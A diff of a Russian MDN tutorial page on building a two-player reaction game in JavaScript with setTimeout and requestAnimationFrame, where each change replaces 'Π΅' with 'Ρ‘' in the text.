<p>Π’ послСднСм Ρ€Π°Π·Π΄Π΅Π»Π΅ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ Π²Ρ‹ создадитС ΠΈΠ³Ρ€Ρƒ Π½Π° Ρ€Π΅Π°ΠΊΡ†ΠΈΡŽ для Π΄Π²ΡƒΡ… ΠΈΠ³Ρ€ΠΎΠΊΠΎΠ². Π’ ΠΈΠ³Ρ€Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π²Π° ΠΈΠ³Ρ€ΠΎΠΊΠ°, ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… управляСт ΠΈΠ³Ρ€ΠΎΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ клавиши <kbd>A</kbd>, Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ - с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ клавиши<kbd> L</kbd>.</p>
-<p>ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ Β«StartΒ» счСтчик, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½Π΅Π΅, отобраТаСтся Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ случайного ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΎΡ‚ 5 Π΄ΠΎ 10 сСкунд. По истСчСнии этого Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ появится сообщСниС Β«PLAYERS GOΒ !!Β» - ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ³Ρ€ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΆΠΌΠ΅Ρ‚ свою ΠΊΠ½ΠΎΠΏΠΊΡƒ управлСния, Π²Ρ‹ΠΈΠ³Ρ€Π°Π΅Ρ‚ ΠΈΠ³Ρ€Ρƒ.</p>
+<p>ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ Β«StartΒ» счётчик, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½Π΅Π΅, отобраТаСтся Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ случайного ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΎΡ‚ 5 Π΄ΠΎ 10 сСкунд. По истСчСнии этого Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ появится сообщСниС Β«PLAYERS GOΒ !!Β» - ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ³Ρ€ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΆΠΌΡ‘Ρ‚ свою ΠΊΠ½ΠΎΠΏΠΊΡƒ управлСния, Π²Ρ‹ΠΈΠ³Ρ€Π°Π΅Ρ‚ ΠΈΠ³Ρ€Ρƒ.</p>
<p>{{EmbedGHLiveSample("learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html", '100%', 500)}}</p>
@@ -480,7 +480,7 @@ let rAF;
<ol>
<li>
- <p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, скачайтС <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game-starter.html">стартовый Ρ„Π°ΠΉΠ»</a>. Он содСрТит Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½ΡƒΡŽ структуру HTML ΠΈ стили CSS, Ρ‡Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ ΠΈΠ³Ρ€ΠΎΠ²ΡƒΡŽ доску, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π΄Π²ΡƒΡ… ΠΈΠ³Ρ€ΠΎΠΊΠΎΠ²Β (ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅), Π½ΠΎ с счСтчиком ΠΈ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ², ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΌΠΈ Π΄Ρ€ΡƒΠ³ Π½Π°Π΄ Π΄Ρ€ΡƒΠ³ΠΎΠΌ. Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ просто Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ JavaScript ΠΊΠΎΠ΄.</p>
+ <p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, скачайтС <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game-starter.html">стартовый Ρ„Π°ΠΉΠ»</a>. Он содСрТит Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½ΡƒΡŽ структуру HTML ΠΈ стили CSS, Ρ‡Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ ΠΈΠ³Ρ€ΠΎΠ²ΡƒΡŽ доску, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π΄Π²ΡƒΡ… ΠΈΠ³Ρ€ΠΎΠΊΠΎΠ²Β (ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅), Π½ΠΎ с счётчиком ΠΈ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ², ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΌΠΈ Π΄Ρ€ΡƒΠ³ Π½Π°Π΄ Π΄Ρ€ΡƒΠ³ΠΎΠΌ. Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ просто Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ JavaScript ΠΊΠΎΠ΄.</p>
</li>
<li>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ пустого элСмСнта {{htmlelement("script")}} Π½Π° вашСй страницС, Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ с добавлСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… строк ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ константы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ понадобятся Π² дальнСйшСм:</p>
@@ -498,8 +498,8 @@ const result = document.querySelector('.result');</pre>
<ol>
<li>Бсылка Π½Π° спиннСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π΅Π³ΠΎ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</li>
<li>Бсылка Π½Π° элСмСнт {{htmlelement("div")}} содСрТащий спиннСр, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для отобраТСния ΠΈ скрытия.</li>
- <li>Π‘Ρ‡Π΅Ρ‚Ρ‡ΠΈΠΊ ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚ΠΎΠ². Он опрСдСляСт, Π½Π° сколько Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ спиннСра Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</li>
- <li>НулСвоС врСмя Π½Π°Ρ‡Π°Π»Π°. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ Π½Π°Ρ‡Π°Π»Π°, ΠΊΠΎΠ³Π΄Π° счСтчик Π½Π°Ρ‡Π½Π΅Ρ‚ Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ.</li>
+ <li>Π‘Ρ‡Ρ‘Ρ‚Ρ‡ΠΈΠΊ ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚ΠΎΠ². Он опрСдСляСт, Π½Π° сколько Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ спиннСра Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</li>
+ <li>НулСвоС врСмя Π½Π°Ρ‡Π°Π»Π°. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ Π½Π°Ρ‡Π°Π»Π°, ΠΊΠΎΠ³Π΄Π° счётчик Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ.</li>
<li>НСинициализированная пСрСмСнная для ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ хранСния Π²Ρ‹Π·ΠΎΠ²Π°Β {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅Ρ‚ спиннСр.</li>
<li>Бсылка Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒΒ Start .</li>
<li>Бсылка Π½Π° ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ².</li>
@@ -514,7 +514,7 @@ const result = document.querySelector('.result');</pre>
}</pre>
</li>
<li>
- <p>Π—Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ draw(), которая Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅Ρ‚ спиннСр. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Π²Π΅Ρ€ΡΠΈΡŽ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° простого счСтчика:</p>
+ <p>Π—Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ draw(), которая Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅Ρ‚ спиннСр. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Π²Π΅Ρ€ΡΠΈΡŽ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° простого счётчика:</p>
<pre class="brush: js notranslate">function draw(timestamp) {
if(!startTime) {
@@ -532,13 +532,13 @@ const result = document.querySelector('.result');</pre>
}</pre>
</li>
<li>
- <p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈΡˆΠ»ΠΎ врСмя Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ состояниС прилоТСния ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π΅ строки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ просто ΡΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ Π°Π±Π·Π°Ρ† Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ счСтчика с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>display: none</code> ;.</p>
+ <p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈΡˆΠ»ΠΎ врСмя Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ состояниС прилоТСния ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π΅ строки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ просто ΡΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ Π°Π±Π·Π°Ρ† Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ счётчика с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>display: none</code> ;.</p>
<pre class="brush: js notranslate">result.style.display = 'none';
spinnerContainer.style.display = 'none';</pre>
</li>
<li>
- <p>Π—Π°Ρ‚Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ<code> reset ()</code>, которая Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² исходноС состояниС, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ для ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ запуска ΠΈΠ³Ρ€Ρ‹ послС Π΅Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π² ΠΊΠΎΠ½Π΅Ρ† ΠΊΠΎΠ΄Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
+ <p>Π—Π°Ρ‚Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ<code> reset ()</code>, которая Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² исходноС состояниС, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ для ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ запуска ΠΈΠ³Ρ€Ρ‹ послС Π΅Ρ‘ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π² ΠΊΠΎΠ½Π΅Ρ† ΠΊΠΎΠ΄Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
<pre class="brush: js notranslate">function reset() {
btn.style.display = 'block';
@@ -547,7 +547,7 @@ spinnerContainer.style.display = 'none';</pre>
}</pre>
</li>
<li>
- <p>Π₯ΠΎΡ€ΠΎΡˆΠΎ, Ρ…Π²Π°Ρ‚ΠΈΡ‚ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ! ΠŸΡ€ΠΈΡˆΠ»ΠΎ врСмя ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΠ³Ρ€Ρƒ доступной! Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π² свой ΠΊΠΎΠ΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π±Π»ΠΎΠΊ. Ѐункция <code>start ()</code> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code>draw ()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ спиннСра и ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ интСрфСйсС, ΡΠΊΡ€Ρ‹Ρ‚ΡŒΒ ΠΊΠ½ΠΎΠΏΠΊΡƒ Start, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠ³Π»ΠΈ ΠΈΡΠΏΠΎΡ€Ρ‚ΠΈΡ‚ΡŒ ΠΈΠ³Ρ€Ρƒ, запустив Π΅Π΅ нСсколько Ρ€Π°Π· ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, ΠΈ запускаСт Π²Ρ‹Π·ΠΎΠ² <code>setTimeout ()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСтся функция <code>setEndgame ()</code> ΠΏΠΎ ΠΏΡ€ΠΎΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ случайного ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° ΠΎΡ‚ 5 Π΄ΠΎ 10 сСкунд. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π±Π»ΠΎΠΊ Ρ‚Π°ΠΊΠΆΠ΅ добавляСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий ΠΊ вашСй ΠΊΠ½ΠΎΠΏΠΊΠ΅ для запуска Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>start ()</code> ΠΏΡ€ΠΈ Π΅Π΅ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ.</p>
+ <p>Π₯ΠΎΡ€ΠΎΡˆΠΎ, Ρ…Π²Π°Ρ‚ΠΈΡ‚ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ! ΠŸΡ€ΠΈΡˆΠ»ΠΎ врСмя ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΠ³Ρ€Ρƒ доступной! Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π² свой ΠΊΠΎΠ΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π±Π»ΠΎΠΊ. Ѐункция <code>start ()</code> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code>draw ()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ спиннСра и ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ интСрфСйсС, ΡΠΊΡ€Ρ‹Ρ‚ΡŒΒ ΠΊΠ½ΠΎΠΏΠΊΡƒ Start, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠ³Π»ΠΈ ΠΈΡΠΏΠΎΡ€Ρ‚ΠΈΡ‚ΡŒ ΠΈΠ³Ρ€Ρƒ, запустив Π΅Ρ‘ нСсколько Ρ€Π°Π· ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, ΠΈ запускаСт Π²Ρ‹Π·ΠΎΠ² <code>setTimeout ()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСтся функция <code>setEndgame ()</code> ΠΏΠΎ ΠΏΡ€ΠΎΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ случайного ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° ΠΎΡ‚ 5 Π΄ΠΎ 10 сСкунд. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π±Π»ΠΎΠΊ Ρ‚Π°ΠΊΠΆΠ΅ добавляСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий ΠΊ вашСй ΠΊΠ½ΠΎΠΏΠΊΠ΅ для запуска Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>start ()</code> ΠΏΡ€ΠΈ Π΅Ρ‘ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ.</p>
<pre class="brush: js notranslate">btn.addEventListener('click', start);
@@ -561,7 +561,7 @@ function start() {
<div class="blockIndicator note">
<p><strong>Note</strong>: Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Β <code>setTimeout()</code>Β Π±Π΅Π· сохранСния Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎ значСния. (Π½Π΅ Β <code>let myTimeout = setTimeout(functionName, interval)</code>.)Β </p>
- <p>Π­Ρ‚ΠΎ прСкрасно Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ссли Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‡ΠΈΡ‰Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» / Ρ‚Π°ΠΉΠΌ-Π°ΡƒΡ‚ Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚. Если Π²Ρ‹ это сдСлаСтС, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€!</p>
+ <p>Π­Ρ‚ΠΎ прСкрасно Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ссли Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‡ΠΈΡ‰Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» / Ρ‚Π°ΠΉΠΌ-Π°ΡƒΡ‚ Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚. Если Π²Ρ‹ это сдСлаСтС, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€!</p>
</div>
<p>ΠšΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π° являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ Β«StartΒ» отобраТаСтся спиннСр, ΠΈ ΠΈΠ³Ρ€ΠΎΠΊΠΈ Π²Ρ‹Π½ΡƒΠΆΠ΄Π΅Π½Ρ‹ ΠΆΠ΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ΅ количСство Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΈΡ… попросят Π½Π°ΠΆΠ°Ρ‚ΡŒ ΠΈΡ… ΠΊΠ½ΠΎΠΏΠΊΡƒ. Π­Ρ‚Π° послСдняя Ρ‡Π°ΡΡ‚ΡŒ обрабатываСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code>setEndgame ()</code>, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ ΠΏΠΎΠ·ΠΆΠ΅.</p>
@@ -602,7 +602,7 @@ function start() {
<li>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ спиннСра с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref("window.cancelAnimationFrame", "cancelAnimationFrame()")}} (всСгда ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ Π½Π΅Π½ΡƒΠΆΠ½Ρ‹Π΅ процСссы), ΠΈ скройтС ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ счСтчика.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ, ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚Π΅ Π°Π±Π·Π°Ρ† с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌΠΈ ΠΈ установитС для Π΅Π³ΠΎ тСкстового содСрТимого Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β "PLAYERS GO!!"Β  Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΈΠ³Ρ€ΠΎΠΊΠ°ΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΠΆΠ°Ρ‚ΡŒ свою ΠΊΠ½ΠΎΠΏΠΊΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ±Π΅Π΄ΠΈΡ‚ΡŒ.</li>
